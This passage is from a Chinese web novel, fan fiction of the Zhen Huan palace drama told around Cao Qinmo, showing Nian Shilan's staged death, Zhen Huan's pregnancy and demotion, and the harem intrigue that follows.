曹琴默说话时的表情似乎还在眼前,眼底也有野心但是更多的是尊敬和顾全大局的周到。 翻了个身,又想起来了甄嬛。 “苏培盛。” 皇上觉得自己还是养大了甄氏的性子。 “诶,怎么了皇上?” 苏培盛都快睡着了,谁能想皇上还没睡呢。 “甄氏的份例恢复她位分应当的,不许再送多余的。” 既然被宠爱和富贵迷住了眼,那就给她醒醒神。 “是,奴才知道了。” 苏培盛在心里摇了摇头,这位小主的心气儿太高了,还十分容易得意忘形。在他老苏看来,前途渺茫啊!啧! 除夕宴还未到,一道圣旨落在延禧宫沈眉庄的身上。争宠半天只得了两次侍寝不说,还因着甄嬛在养心殿的‘玩笑’之语,叫皇上想起来自己被家族除了名。直接位分一降再降,和甄嬛做了平起平坐的好姐妹。 两位官女子,自然不配单独占一个屋子。便被内务府移到了一起,在后院西配殿的三间小屋子,便是两人所有能支配的地方了。 官女子身边只能留下一位贴身侍女,沈眉庄忍痛送走了采月,留下了采星。 而采月没有后路,沈家除了沈眉庄的名,采月自然也回不到济州去。只能跟着内务府的人一道,被分在了最累最苦的浣洗房里。 甄嬛与沈眉庄面面相觑,两人久坐无言,冷淡的气氛自二人之间不断盘旋。 “眉姐姐,是嬛儿不好。我只想着这是个叫皇上更为了解姐姐为人的机会,谁曾想......” 甄嬛拉着沈眉庄的手悲从中来。就算沈眉庄被沈氏放弃了,最起码贵人的位分也能照顾她一二。谁曾想自己还是得意过了头,被皇上的宠爱迷了眼。 也是皇上过于冷漠,就算是她言语失了分寸,何至于这般,叫眉姐姐和她,如何在这深宫之中立足啊! 沈眉庄叹了口气,她何尝不知道嬛儿是为了她好。只是...... “如今说什么也晚了,既然已经这般,咱们不如先冷静几日。” 其实沈眉庄的内心很迷茫,她不知道自己为什么会落得这般地步。 第167 章 曹琴默25 只是甄嬛并不认命,她自认于皇上也算得上是琴瑟和鸣,今日因二三言语落得这般地步,不过是因着自己的位分太低,皇上下意识的会将她视为攀附之物罢了。 这反而激发了甄嬛的好胜心,她许愿愿得一人心的愿望兴许有些艰难,但得皇上的真心,甄嬛觉得未尝不可一试。 毕竟,身为官女子,皇上因着宠爱便给了她贵人才能用的素绸花绸,还赏赐了许多官女子不可用的银饰珍珠和宝石等首饰。说明皇上是喜爱她的,这点,甄嬛无比自信。 本想和皇后请病假不出席除夕宴时,才被告知官女子本就不可以出席除夕宴。甄嬛和沈眉庄两人脸上火辣辣的泛着热气,躲在延禧宫里再不愿出门。 心里头有了旁的计划,但养心殿的御前嬷嬷可不是皇后那么松快的人。除夕宴当天,不能出门的便直接被关在了自个儿宫里,言曰:不可失礼落了皇室的颜面。 这年宴倒是有了几分先帝时的样子,热热闹闹,虚情假意的笑了一晚上。 还未等各宫休息,延禧宫传出了甄官女子有孕的消息。 皇上沉默了好一会儿,也只是按例给了赏赐,苏培盛见状便知道,这位甄氏,怕是没什么前程可言了。 而景仁宫里,皇后悠悠的看着剪秋:“你就是这般办事的?” 剪秋有苦难言,延禧宫里该泡红花的,该熏麝香的,哪样都做到了位。这样都能怀上,她也没办法啊! “娘娘,许是甄官女子身体强健。就算是怀上了又怎么样?延禧宫的好东西不少,能不能保的住就看天意了。” 皇后冷冷的瞥了剪秋一眼:“这张脸就够了,生皇子这等福气,本宫怕她甄氏担不起。” 这一夜,不仅有景仁宫盯着甄嬛的肚子,还有一个地方的人,也笑的畅快又张狂。 宝华殿。 “天寒地冻,可要小心啊。” 低低的呢喃只有佛祖和端嫔自己听的分明,在庄严的大殿里如一阵清风,了无痕迹。 可惜,端嫔的盘算虽好,却不及曹琴默的动作快。 年节刚刚过去,华贵妃强撑着的身子再次倒了下去。这次有十日左右都在昏睡,太医院的太医日日守在翊坤宫,却完全没有办法。 为了给华贵妃冲喜,皇上下旨册封华贵妃为皇贵妃。 “娘,娘。” 温宜已经可以说两个字了,每日都在年世兰的床边趴着,胖胖的小脸贴着年世兰消瘦苍白的脸,企图用自己的体温唤醒沉睡的干娘。 “娘娘,今日温宜穿了您亲手缝制的衣裳,就是走针太稀松了,有些漏风。臣妾给她里头套了身您最不喜欢的粉色小袄,您起来看看吗?” 曹琴默日日守在年世兰身边,她无事可做又心慌,便只能说些年世兰在意的温宜的小事,试图留住年世兰的神志。 皇上也守在翊坤宫不挪步,一直到第十二日,年世兰才睁开了眼睛。 气色也瞧着有些红润,只是太医摸了脉都脸色难看,皇上和曹琴默便有些受不住的闭了闭眼。 “皇上。” 年世兰伸了伸手。 皇上立刻上前把年世兰抱在怀里。 “可好些了?朕封了你为皇贵妃,你快些好。” 年世兰笑了笑:“真好,臣妾也算是皇上的妻子了。” 皇上强撑着笑意,点了点年世兰的额头。 “自然,在朕心里,世兰就是朕的妻子。” “臣妾好像看到孩子了。” 年世兰目光悠远,不聚焦的瞳孔似是看到了什么,面上全然是喜悦。 皇上忍着眼泪,一遍一遍低声呼唤着年世兰的名字。 “臣妾无福,不能为皇上诞下一儿半女。但是,温宜是臣妾看着出生的,一个,一个公主而已,皇上,别叫温宜嫁远了,好吗?” “世兰!” 皇上的眼睛猛然睁大。 “世兰知道,皇上不想要他了。没,没关系。是哥哥惹皇上生气了。只要只要皇上爱世兰就好。别,别气哥哥了。” 皇上的眼泪滚落,他万没有想到,自己辜负的女人,竟然没有怨恨,只有理解。 他此刻无比后悔,若是当时能坦诚些,世兰也不必遭了这份罪了。 “别,别哭了皇上。臣妾去找咱们孩子了。温,温宜。” 年世兰的气力越来越小,却还是眼巴巴的看着皇上,想要为自己的干女儿讨一份优待。 “朕这就下旨,封温宜为固伦福慧公主,留在京城,永不扶蒙。” 曹琴默在心里舒了口气,抱着温宜的手紧了紧,这场戏终于要落幕了。 年世兰撑起一抹苍白的笑脸,看着皇上的眼睛:“胤禛,胤禛.....” 她的话未尽,可眼睛永远的闭上了。 皇上悲痛不已,抱着年世兰久久不肯撒手。 西北大捷,年羹尧为了心中那口恶气发了狠,一鼓作气直取敌人首级,想赶着时间回京看看妹妹,却在半路上接到华贵妃薨逝的消息。 大悲之下,年羹尧从马上坠落,跌断了胳膊。 年世兰的死在皇后和端嫔这里都是意料之外的,可她们却没有任何开心之感。无他,皇上表现的太过深情了。 追封年世兰为皇后,谥号孝淑。不仅以正宫皇后之礼下葬,甚至封了翊坤宫,这一朝再不许其她嫔妃入住。 就连封温宜为固伦公主一事都狠狠的戳在了皇后的心缝上。 “不过是一个汉军旗六品官之女,其公主竟能封为固伦公主,还下了永不扶蒙的圣旨。年世兰当真是会做戏啊!” 皇后捏着剪秋的胳膊,回头看向翊坤宫的大门又痛快又窝火。 而宝华殿里,端嫔冷冷的看着眼前的托盘,是赴死三件套。 匕首,毒药和白绫。 “孝淑皇后?” 年世兰的死叫皇上四处迁怒,尤其是在曹琴默哭着询问太医,明明说过娘娘的身子无碍时。皇上和钦天监对话的场景又一次浮现在眼前。 对于这个‘不祥之身’,还害了年世兰孩子的端嫔,自然不会叫她存活于世。 “端嫔娘娘,皇上有旨,请您为孝淑皇后,殉葬。” 苏培盛只当没听见端嫔的话,恭敬的说着最扎端嫔心窝子的话。 “殉葬?” 端嫔果然挣扎起来,这不是她能接受的死法。 还是给年世兰殉葬! 她年世兰凭什么! 愤怒到歇斯底里,端嫔不想这般赴死。 可皇上如今正是对年世兰的愧疚和爱意处在顶峰的时候,又有前头那么多次的铺垫。端嫔这条命,是一定会赔给年世兰的。 挣扎了一天一夜,端嫔一脑袋撞死在了柱子上。 听到消息,曹琴默吹了吹地上的火盆里冒出的烟,看着延禧宫的方向,眼底有不显于色的势在必得。 年世兰‘死后’,颂芝和周宁海忙活完葬礼,也三尺白绫吊在房梁上,追着她‘去’了。 经过这么长时间的安排,年世兰带着颂芝和周宁海顺利的从紫禁城离开,三人低调离京,一路南下,隐姓埋名,在江南落脚。 而翊坤宫里,也留着年世兰喜爱的摆件。不愿意离开的忠仆日日打扫,皇上也偶尔回来小憩。 年世兰私库里的东西,皇上一样儿都没有收回。挑了些年世兰常戴常用的拿了回去,其余的,便都依着年世兰的遗愿,送给了温宜。 后宫骤然安静下来,唯一能跟皇上说上两句话的,唯有储秀宫的襄嫔。两人经常凑在一起怀念孝淑皇后,不像皇上与妃妾之间的关系,更像是好友。 第168 章 曹琴默26 “奉天承运皇帝诏曰:兹尔抚远大将军年羹尧,平定青海战乱有功,着晋为一等公。先广东巡抚年遐龄,封一等公加太傅衔。广东巡抚年希尧,晋内阁大学士并统管内务府,任总管大臣,准其南书房行走。” 年世兰死在皇上最爱她的年纪,生前甚至还没来得及在后宫弄出人命,也没有卖官鬻爵。年羹尧更是一朝失了妹妹安静下来。 年家的一切,都在年世兰的死后被一层朱砂痣的光环所笼罩,不仅官途亨通,就连子辈也备受庇荫。 “兹尔年家幼女年世芍,惠毓名门,秀外慧中,着抬年世芍为满军镶黄旗,并赐婚于慎贝勒为嫡福晋。” 年世兰临终时的理解和爱意,叫皇上内心堆积了厚厚一叠的心疼与愧疚,无处发泄,便只能惠及家人。 皇后眼睁睁瞅着皇上似入魔般的把年家高高捧起,唇角带着些疯魔的笑意,低低的嗔笑在静谧的景仁宫响起,竟有说不出的阴森。 “竟是,比纯元还要心痛吗?” 她实在不能理解,明明纯元死后,得到庇荫的,也只是她这个有名无实的皇后而已。 年家,怕是要扶摇直上了。 若不是了解年世兰的性子,宜修真的要怀疑这是年世兰布下的‘红粉陷阱’了。 如果说年家的收到的优待已让宜修眼红,那接下来,皇上的圣旨更是叫宜修按耐不得。 “襄嫔,贤妃?哈哈哈,她年世兰何德何能,不过一条命,便能换来这么多的利益吗?给了她那个女儿固伦公主还不够,皇上还要封其为贤妃?!曹琴默也配!” 泄愤似的把书房的摆件砸了一地,皇后坐在废墟般的屋子里半晌未曾出声。 剪秋心疼的为自家主子揉着头,张了张嘴,似乎说什么都无济于事。 但即便如此,皇后依旧没有把曹琴默放在猎杀名单里。一是曹琴默容貌不算上等,也不得皇上的喜爱。不会有皇子,即便封了妃,也只是六品官的汉军旗,不足为惧。 二是年世兰到底已经死了,还能给曹琴默多少庇佑呢?没有年世兰,皇帝都不一定能想的起来去看她,如今,更有威胁的,还是延禧宫的甄官女子。 “剪秋,甄氏的胎怎么样?” 这些时日因着孝淑皇后的薨逝,剪秋怕皇后头疾复发,日日盯着景仁宫的众人,倒是有一时间忽略延禧宫的情况了。 “负责甄官女子胎的是一位姓温的太医,前几日据说熬了保胎的药,约莫着是不好了。” “本宫不是要听你这等模棱两可的话,为孝淑皇后哭灵如此辛苦,甄氏承受不住孕育皇子的福气,也是正常。” 剪秋低低的应了是,并没有把那个不出名的温太医放在心上。 可不管是相克的食物,还是含了红花和麝香的点心,都被甄氏一一避了过去。 皇后眼瞧着请安时甄嬛的肚子一日比一日明显,万般忍耐下,却还是走了在曹琴默眼里最昏庸的一招。 “皇上,求您了,叫皇后娘娘取消赏花吧。娘娘,娘娘她刚去了没多久,臣妾实在,实在做不到穿红着绿,似是没事人般啊。” 这是曹琴默第一次主动到养心殿请安,她穿着月白色的旗装,头上的旗头也只是用了寡淡的几根玉饰不误了身份而已。 皇上伸手扶起曹琴默,看着她通红的眼睛低低叹了口气:“这事是皇后做的心急了些。莫要哭了,世兰有你记着,泉下有知定会安心的。” 曹琴默拭了拭泪,看着皇上低声请罪:“臣妾失礼了,实在是这几日温宜也嚷着要干娘,臣妾日日哄着,心里头也难受的紧。” “你们母女都是好的,这贤字与你是极为般配。” “不敢当皇上的夸奖,不过是尽了妃妾的本分罢了。食君俸禄,臣妾才疏学浅,能为皇上分忧的,也只有这些小事了。” 给皇后浅浅上了一层眼药后,曹琴默似是不经意的提起了延禧宫请太医的次数频繁。 “也许是臣妾多心了。只是温宜和弘晏如今也大些,正是关不住的时候,每每和敬嫔欣贵人遛弯时,听得这些闲话,总是操心的。 毕竟,毕竟娘娘刚走,这话......臣妾听着,便有些不入耳。” 曹琴默的声音低低喃喃,皇上只过耳,便知道曹琴默的担忧是为何。 “是了,你说的对。世兰刚走,若是甄氏的胎因着......总不好叫世兰背了污水。” 是他下令给孝淑皇后哭灵七天,若是甄氏的胎有了什么不好,便是万分之一的污糟之语,也是惊了世兰的在天之灵。 皇上拍了拍曹琴默的手:“你便是这般贴心,不枉世兰惦记着你们母女。” 年羹尧曾经送进宫多少东西,年世兰在最后的时日把体己都送到了储秀宫里。说是给温宜存着,就当她这个干娘给了添妆。 曹琴默扯了扯嘴角,明明是笑脸,却透露着苦涩。 “孝淑皇后虽然喜欢立规矩,但是说两句好听的就能哄住。臣妾得了庇佑,已是莫大的恩德,不忘本,方能守住本心。” 皇上拉着曹琴默的手想了想:“世兰在世时最惦记的就是温宜。还央着朕找了几个女夫子,说什么宫里的嬷嬷死板教条。朕原是觉得不合规矩,只是现在想想,温宜是朕的女儿。朕说的规矩就是规矩。 如此,便叫夫子们进宫住着,先陪着温宜玩几年,而后再慢慢启蒙。” 曹琴默掐了掐手心,维持住自己的表情谢了恩,又和皇上怀念了会儿年世兰,便自行离开了。 “苏培盛。” 皇上想着甄嬛的胎,似是又看到了故人苍白的面容,便提步往延禧宫而去。 对于甄氏,皇上其实没什么感情,不过是一个怀念发妻的工具而已。 只是贤妃有一句话说的对,世兰在世时,即便看不惯后院任何一个女子,但对孩子们都是宽容的。 不光是曹琴默这一胎,甚至芳妃和欣贵人的孩子都是世兰别别扭扭的保下来的。 可能世兰自己都没发现,她对于有身孕的人,总是有些口不对心的心软。 思及此,皇上叹了口气。 世兰什么都知道,却还是保持着一颗纯真善良的心,她果真爱惨了朕! (曹琴默,年世兰:你开心就好。) 西配殿有五间房,但只有其中三间是属于两位官女子的。又因着太监宫女不能混住在一起。 所以,甄嬛和沈眉庄只能睡在一张床上。 这可真真应了两人‘抵足而眠’的心愿了。 只是,从前觉得这般亲密又有趣,现如今不得不长期住着后,才知晓有多不方便。 尤其是甄嬛的肚子日渐变大,本就不算宽敞的床连翻身都没有空隙。 皇上站在延禧宫西配殿的门口,迟迟不肯挪动脚步进去。 不是别的,他在门口就看全了整个屋子,又小又挤,还阴阴的。 这是他第一次直面官女子的住处,还挺震撼。 “婢妾给皇上请安。” 甄嬛和沈眉庄出来行礼,本以为皇上亲临看见这环境能得两分怜惜。却没想到,皇上看了两人一眼,迈步走到了延禧宫的正殿坐了下来。 “把给甄氏保胎的太医叫来。” 甄嬛失落了一会儿又打起了精神。 虽然有温实初在,但她的屋子里多了太多伤身的东西。如今能得皇上垂怜,自然是好的。 第169 章 曹琴默27 “微臣太医院温实初,给皇上请安。” 皇上端着杯子瞥了他一眼:“甄氏的胎怎么样?” 说完,皇上自己也有些纳闷。他并不是多爱孩子的人,宫里头潜邸时,怀孕的女人也不算少。能得他亲自过问的,除了纯元就是曾经的侧福晋年世兰。 当初得宠的李氏如今的齐妃,有孕时也只不过给了不少赏赐,到没有这般大张旗鼓的询问过。 不过,皇上把这些归咎到甄嬛那张脸上。跟纯元如此相像的一张脸,若是有了闪失,可不好再找下一个了。 温实初看了眼甄嬛,得了她轻轻的点头,才开口道:“回皇上的话,甄官女子这一胎本还算安稳。只是这几日的膳食多有菠菜豆腐,羊肉南瓜或鸡蛋与兔肉。 这些寻常人吃着无害,但有孕之人不能同食。如羊肉南瓜,本都是温热食物。同食导致体内火气过旺,加重不适。鸡蛋微寒兔肉性凉,长期食用,也有落胎之效。” 皇上的眉头皱紧,从前世兰管家的时候从没有这么多污糟的杂事。如今不过刚刚叫皇后接手,这事便一桩一件的接踵而至。 “还有,甄官女子今日晨起腹痛,微臣诊断时发现,甄官女子体内有麝香的痕迹。经过检查,发现是其衣裳上沾染了些麝香香气。” 皇上转着自己的串子,表情越发冷静。 “嗯,你做的很好,甄官女子的胎朕就交给你负责,务必保他无虞。” 至于换个住处提提位分?他的世兰刚刚去世,怎么能有这个想法。至于贤妃,她不一样,她是福慧的额娘,也是最真心对世兰的,自然不同些。 这些都是在曹琴默意料之中的事情,她没有选择摁下温实初,就是为了甄嬛的肚子。没有了年世兰,甄嬛那张脸就是皇后最痛恨的,她可不想给甄嬛当老妈子。 景仁宫的皇后还未动手,正在练字的她便接到了皇上要她去寿康宫侍疾的旨意。至于什么时候回来,那就要看太后什么时候好了。 刚刚被驳回了赏花宴,皇后没有接到皇上的惩罚,还以为这事过去了。 没想到皇上竟然如此严苛,不过,皇后转念,便神色从容的把笔下的‘忍’字继续写了下去。 去寿康宫也好,有竹息在,做事倒方便了许多。就算出了事,也连累不到她这个正在侍疾的皇后身上。 可还没等宜修开心一会儿,贤妃协理六宫的圣旨就下来了。 皇后深吸口气,再次在心里怒骂年世兰是贱人! 因为,在皇后心里,曹琴默如今能有今天这个造化,完全是巴上了死鬼年世兰的顺风车。 利用死鬼的特权从来都是她乌拉那拉宜修的专属,如今倒好了,年世兰一死,得利的居然是曹琴默! 皇后的愤怒曹琴默可以想象,皇上这一步属实也在她的意料之外。本以为这个妃位就到头了。左右年世兰求来了温宜永不扶蒙的圣旨,也有了年家在宫里的人手。 只要年家不想让年世兰还活着的事情曝光,这宫里的人她便可随意使用。 不缺钱不缺人的曹琴默其实并不在意宫权,但是 皇上给了,那就是她的了。 正好,等温宜大了,还能教教温宜管家。反正宫里的这位嫡母,会的还不如她多呢。 “皇上,臣妾不想......” 想要归想要,态度还是得摆正确。 曹琴默怀里抱着弘晏,正哄着他少吃一块点心呢。 不像皇上,是个惯孩子的,温宜要什么皇上就给什么,一点底线都没有。 “朕给了你,你便做就是。你跟着世兰久,心思又细腻,后宫有你管着朕也放心。” 当然放心了,自从温宜得了固伦公主和不扶蒙的旨意后,曹琴默眼里的野心都消散了。整日里安安分分的在自个儿宫里哄着两个孩子玩,颇有些自得其乐的感觉。 除了这般,便是去翊坤宫坐着,不争也不抢,一副满足的作态叫皇上升不起什么忌惮。 况且,曹琴默的家世根本不需要忌惮。 曹琴默低低叹了口气:“臣妾每日看看孩子就挺好的。还有空能去翊坤宫坐坐。”、 “好了,世兰曾经最喜欢管家了,还总以比皇后做的好而骄傲。如今她去了,你不若也试试,说不得做的好了,去翊坤宫也能多说些。” 曹琴默疑惑的看向皇上,表情里分明写着‘皇上我还是挺聪明’的意思。 “咳,就这么决定了。” 皇上说着,也逗弄了一下胖嘟嘟的弘晏,抱着温宜就去养心殿玩去了。 作为孝淑皇后死前唯一惦记的孩子,温宜如今已经是养心殿的常客了。她的小椅子小衣服等把养心殿体顺堂占的满满登登,这是这一朝,任何一个皇子都没有的待遇。 因着年世兰死前一直病着,没有磋磨后妃,甚至保下两个阿哥的名声也在曹琴默的暗中操作下暗戳戳的在后宫流传着。 所以,这批新宫嫔对于这位孝淑皇后都是十分有好感的。 贤妃又是潜邸时跟着孝淑皇后的人,请安时就能了解,她温柔又有耐心,比故作大度的皇后,更加得后妃们的喜爱。 所以曹琴默拿了宫权后,储秀宫倒是热闹起来。 人死债消,何况七阿哥弘昔还是在孝淑皇后的手下保下来的,敬嫔如今名下一儿一女,自然也跟曹琴默走动起来。 更别说本就对曹琴默有不小好感的安陵容了,她每次来都会送些小衣裳或荷包团扇等小物件。 那栩栩如生的绣迹曹琴默夸的十分走心。 礼尚往来,曹琴默也打了个络子给她。 “妹妹别嫌弃,姐姐这手啊,只这一样能拿的出去了。” 曹琴默虽然说的谦虚,但脸上并无瑟缩和自卑之态。安陵容觉得贤妃真的是一个表里如一的人。 “姐姐的手艺极好,正好妹妹得了皇上赏赐的象牙柄团扇,用了姐姐的络子,果然是极好的。” 安陵容性子实在柔和,皇上很喜欢。 召幸的也算多些,日子好过了,她的性子越来越开朗。 虽然还是跟同宫的瑾贵人和瑜常在不太能说到一起,但两人也不难相处。 接手年世兰所有人手后,江城和江慎自然也到了她名下。 甚至贴心的年家拿捏住了两家家人,为曹琴默解决了后顾之忧。 毕竟年世兰能脱离苦海,年家更这般进益,跟曹琴默的谋划都脱不开关系。他们自认不是过河拆桥之人,尤其是年家人仍在朝堂,后宫有位相熟的后妃,还是有共同秘密的后妃,互相掣肘总是好的。 “甄氏的胎受了些损伤,不过温实初是个有本事的,能保过八个月不成问题。” 江城看了眼甄嬛的脉案,就能猜的七七八八。 曹琴默点了点头,把丽嫔叫了来。 入宫后年世兰敲打过费云烟,只要她老老实实不冒头,今后能保她荣华也能保她有个孩子。 费云烟不聪明,但是对年世兰算的上是言听计从。 所以一直到现在,都安静的在启祥宫当透明人。 如今,也是时候兑换好处了。 “ 你如今也是妃位娘娘了。” 丽嫔这话说的阴阳怪气的,但是并无太大恶意。 进宫后年世兰的所有表现都出乎了丽嫔的预料,她甚至没想过年世兰会死。 所以,对于一直跟着年世兰在后宫诡谲中穿梭的曹琴默,虽有嫉妒,但并不恨。 “都是托孝淑皇后的庇荫罢了。” 年世兰临终时本想提一嘴费云烟的,但是被曹琴默删掉了这句台词。 “贪多嚼不烂,过犹不及。” 年世兰并不蠢,相反在挣脱恋爱脑后十分清醒。她很快理解了曹琴默的意思,主动把丽嫔忘在脑后。 毕竟是年羹尧手下的兵,年羹尧本就可以提拔丽嫔的哥哥。 宫里还有曹琴默在,丽嫔不会难过的。 但如果年世兰临终时惦记太多,反而弱化了在皇上心里那份‘纯爱’的形象。 这可能会影响今后‘朱砂痣’的光环,曹琴默不允许这种情况发生。 (你们不要翻我以前的书了,求求了,以前没脑子想到哪写到哪,很影响我这本书的面子的。洋柿子还叫我断更多少天才能隐藏我都完结了它补给我隐藏(/?\)) 第170 章 曹琴默28 丽嫔此人,嘴贱心毒但是没脑子,所有一切恶毒的想法都没有相应配套的硬件设施去实施。先前的活动排除了她的参与,主要是丽嫔的脸上藏不住事,容易露馅。 但现在,曹琴默需要丽嫔。 作为年世兰小分队曾经的队员,又是凭借容貌在王府中占据过一席之地的女人,皇上对其的态度天然比对旁的嫔妃多了些耐心。 更何况丽嫔的父兄在年羹尧的手下做事,虽是武将但既不骁勇也不聪慧,家世上够不到小心眼皇帝的敏感心。 只是丽嫔本人在王府时还不显其艳俗的风格,进了宫后,也不知道是不是紫禁城的风水有些问题。丽嫔的穿着打扮越发向着皇上最厌恶的特点而去。 不过,作为在年世兰的丧仪上哭的最大声的人,皇上便是知道其嘴碎整日说三道四,也是睁一只眼闭一只眼。 “娘娘这一走,我就感觉后宫里空落落的。” 丽嫔虽然经常被年世兰骂蠢货,但除了年世兰,她也不喜欢跟别人玩儿。 “没事了姐姐多来我这里走走,温宜和弘晏正是有趣的时候。” 虽然两人并不算特别对付,但终究是一个阵营的。就算丽嫔再蠢,也知道年世兰去了也有福荫庇佑,不会无脑支楞。 丽嫔笑了笑,也不知道是年世兰的死亡叫她成长了,还是没有人在前头护着她,自己开窍了。 左右现在在曹琴默面前少了几分怼天怼地的欠样儿,瞧着顺眼多了。 “小温宜,认不认识姨姨?” 丽嫔摘了护甲和戒指,又看了看自己手腕上镶满了宝石的大金镯子,棱角分明的瞧着就危险,也一并撸了下来。 “我那里还有娘娘赏的云锦,一会儿叫人给你送来。咱们公主可不能穿那些刮人的料子,还有弘晏,阿哥不拘颜色,倒是比公主好养活。” 丽嫔虽然不聪明,但这一年里,曹琴默的变化和年世兰的突然离世也叫她有了两分自己的考量。可能想的不够深,但足够目前曹琴默拉扯。 “你留着吧,还怕没有用上的时候吗?” 丽嫔似懂非懂的看了曹琴默一眼:“你是知道我的,娘娘尚且听不懂你的话,我就更不明白了。” “延禧宫。” 曹琴默从丽嫔怀中接过探着小身子的温宜,顺手把弘晏塞到了她怀里。 丽嫔安静的坐了一会儿,捏了捏弘晏圆嘟嘟的胖脸。 “算了,我是没那个脑子。你看着安排就是,需要我做什么?” 曹琴默摇了摇头,丽嫔这脑子,她的心得多大啊! “如常便好。” 丽嫔还觉得自己受了重视,可皇后侍疾取消了请安,她只能每日里在御花园四处溜达,一张嘴得罪了东西六宫大部分嫔妃。 不过,到底是曾经‘以色侍人’的美人儿,被曹琴默的巧手几番打扮下来吸引走了皇上大部分目光。 曹琴默笑着收下了丽嫔的谢礼,把其中实心的金元宝塞进自己的小空间里。金灿灿的,让人很安心。 都说男人的身子在哪心就在哪,这话自然有几分道理。曹琴默懒得侍寝,但她身边不能缺了这样一个人。从前是年世兰,如今是丽嫔。 春花烂漫时,皇上似是走出了‘丧妻’的悲痛,开始在后宫流连。 甄嬛大着肚子无法侍寝,可又忍受不得官女子这没滋没味的生活,便撺掇沈眉庄争宠,以求改善这紧巴巴的日子。 沈眉庄何尝不想得宠?只是皇上并不待见她,思来想去,姐妹俩也只有弹琴这一条路能走,毕竟,沈眉庄不会跳惊鸿舞。 延禧宫的小川子是曹琴默的人,得知沈眉庄的计划后曹琴默并未阻止。事实上,她巴不得这两人冒头。 “天儿也是好起来了,叫上丽嫔敬嫔和欣贵人,咱们去御花园晒晒太阳。” 正擎等着给丽嫔套娃呢,机会这不就送上门了。 去启祥宫传话的是颂青,丽嫔领悟了曹琴默的意思,换了身比花还娇艳的玫红色宫装,踩着平底的绣花鞋风风火火赶了过去。 “温宜,弘晏,瞧姨姨带了什么好吃的。” 丽嫔不愿称自己是丽娘娘,可是温宜的干娘是孝淑皇后,丽嫔自然不敢冒犯,只能按照民间的说法,称自己为姨姨。 敬嫔和欣贵人也习惯了,丽嫔就是嘴欠,但要说她们之间有什么利益冲突,那还真说不上。 敬嫔太过温和,欣贵人太过伶俐,两人都不得皇上的宠爱。如今守着一儿一女,对恩宠什么的不太在意。 所以对在潜邸时得宠又失宠,复又得宠的丽嫔,除了说话不好听外,挑不出什么大毛病。 四个大人,四个小孩今日玩的开心了 又约了明日。一连五六天,御花园都能听到孩子笑哈哈的声音。 御花园里的花艳没有艳过丽嫔,孩子们被她几日鲜活亮丽的装扮迷了眼,一个个伸手要往丽嫔身上扑。 齐妃拉着方佳常在参与进来,并带了长春宫特产栗子糕,也受到了小朋友们的欢迎。 不过几人也不是在一处固定的地方,哪里景色好,哪里吸引孩子她们就去哪里。 为了防止阳光的曝晒,几人一般是申时左右在御花园碰头,就连皇上也被吸引着参与过两次,后来钟粹宫的三人也融入进来。 看着丽嫔作为孩子王的模样,皇上偶有深思的表情闪过。 敬嫔理解了曹琴默的意思,默默的打着配合。 她名下有儿有女,倒是不在意这位官女子的孩子。不过,贤妃的举措叫敬嫔安心。能费心思为身边人谋划的人,怎么都比干说不做的好的多。 但延禧宫的二人不知情,因为她们手里无人可用。整个延禧宫能供二人驱使的只有四位宫人。 其中两个太监每日里负责取膳,洒扫院子和做些粗活。哪里有功夫去外头扫听消息呢?宫女就更不用说了。崔槿汐是跟苏培盛有些交情不错,但如今这形势,即使苏培盛再是个怜花惜玉的,也不敢轻举妄动。 采星每日里紧巴巴的守着最后一点银子,生怕自家主子想不开再去接济同屋的甄官女子,更没有心力操心其它了。 两人估摸了时辰,在御花园的千秋亭摆了琴和茶,做出一副伯牙与钟子期之态,配上两人端起的架势,倒是有了两分知音相聚的情态。 就在两人畅谈琴意以茶代酒赋诗谈笑时,曹琴默和‘好姐妹们’带着孩子溜溜达达的过来团建了。 “倒是咱们来的不巧了。” 曹琴默笑了笑,由着甄嬛二人行礼但并不叫起。 只是抱着温宜轻哄道:“咱们今日去齐娘娘那里吃点心好不好?” 曹琴默刻意的忽视叫两人有些难看,甄嬛扶着肚子低低的呻吟了一声,便听到沈眉庄义正言辞的说道:“贤妃娘娘,齐妃娘娘,嬛儿有孕在身,还请两位娘娘开恩。” 众人带着惊奇和打量的目光在甄沈二人身上扫过,她们想不通,两位官女子,哪来的底气跟妃位娘娘顶嘴的呢? 曹琴默嘴角挑了挑,眼睛里没什么笑意的看向地上的二人。 “大清规矩,皇后薨逝一年为孝。孝淑皇后走了才多久,你们便穿红着绿的在御花园弹琴奏乐嘻嘻哈哈,规矩体统都喂进狗肚子里了吗?” 对外,曹琴默一直是年世兰的毒唯,又因着年世兰进宫后算的上洗心革面,不知情的人都是念着她的好的,后宫大部分人都是抱着‘死者为大’的心态。 所以对曹琴默的话,大家都选择了沉默表示支持。 沈眉庄看了眼自己菊粉色的宫装,看了看甄嬛头上的红色系的绒花,连忙跪下请罪。 后宫谁不知道孝淑皇后是皇上心尖尖上的人物,斯女已逝,皇上更是带头吃了一个月的素。 如今她们这般若是传到皇上耳朵里,怕是又是一番折腾了。 第171 章 曹琴默29 “宫权交给你,便是叫你做主。不必顾虑朕。” 这段时间曹琴默做的一直很好,体贴皇上,关爱皇嗣,友爱宫嫔,从上至下井井有条。 比之年世兰在世时也不遑多让。甚至因着性子更为柔和细心,宫里甚少有怨怼之言,叫皇上十分踏实。 曹琴默搂着弘晏换了身轻便松快的衣裳,便叫两个孩子去内室玩了。 “臣妾是想着,两位官女子到底都是正经选秀出来的。虽然冒犯了孝淑皇后臣妾实在生气,但甄官女子毕竟有了皇嗣,若是日日茹素,难免受了委屈的还是孩子。 况且,臣妾说句逾矩的话,臣妾观皇上似是对甄官女子颇为照顾些,所以处置上难免顾及了些皇上的心思。” 皇上抬了抬眼,倒是不意外曹琴默的敏锐。 “你确实细心又聪慧。” 曹琴默入府晚,根本不可能知道纯元一事,所以皇上也没有多想。 “人都会有偏爱有天然愿意亲近之人,臣妾也只是做好了自己份内之事罢了。” 皇上对于曹琴默的这个解释尤为满意,好似便脱离了自己找替身的不齿意味。 “你做的很好,朕都看在眼里。不贪功不冒进,朕愿意你管着家。” 曹琴默把一个看起来有些乱七八糟的荷包递到皇上手里:“皇上不觉得臣妾愚笨,臣妾就好好干着,若是皇上觉得臣妾能力不足,属意别的姐妹,臣妾自然也遵从。不过是以夫为天罢了,哪里当得皇上夸奖了。” 这话听的皇上舒坦极了,他甚至有一瞬间的冲动去问一问乌拉那拉氏,为什么不能照着这个样子培养女儿呢? “这荷包是淑和绣的,皇上给个面子,戴上几日吧。” 似是这个话题稀松平常,曹琴默很快就说起了别的事。 皇上看着笑了起来:“好,听咱们贤妃娘娘的。” 那荷包实在算不上美观,甚至还有些丑。 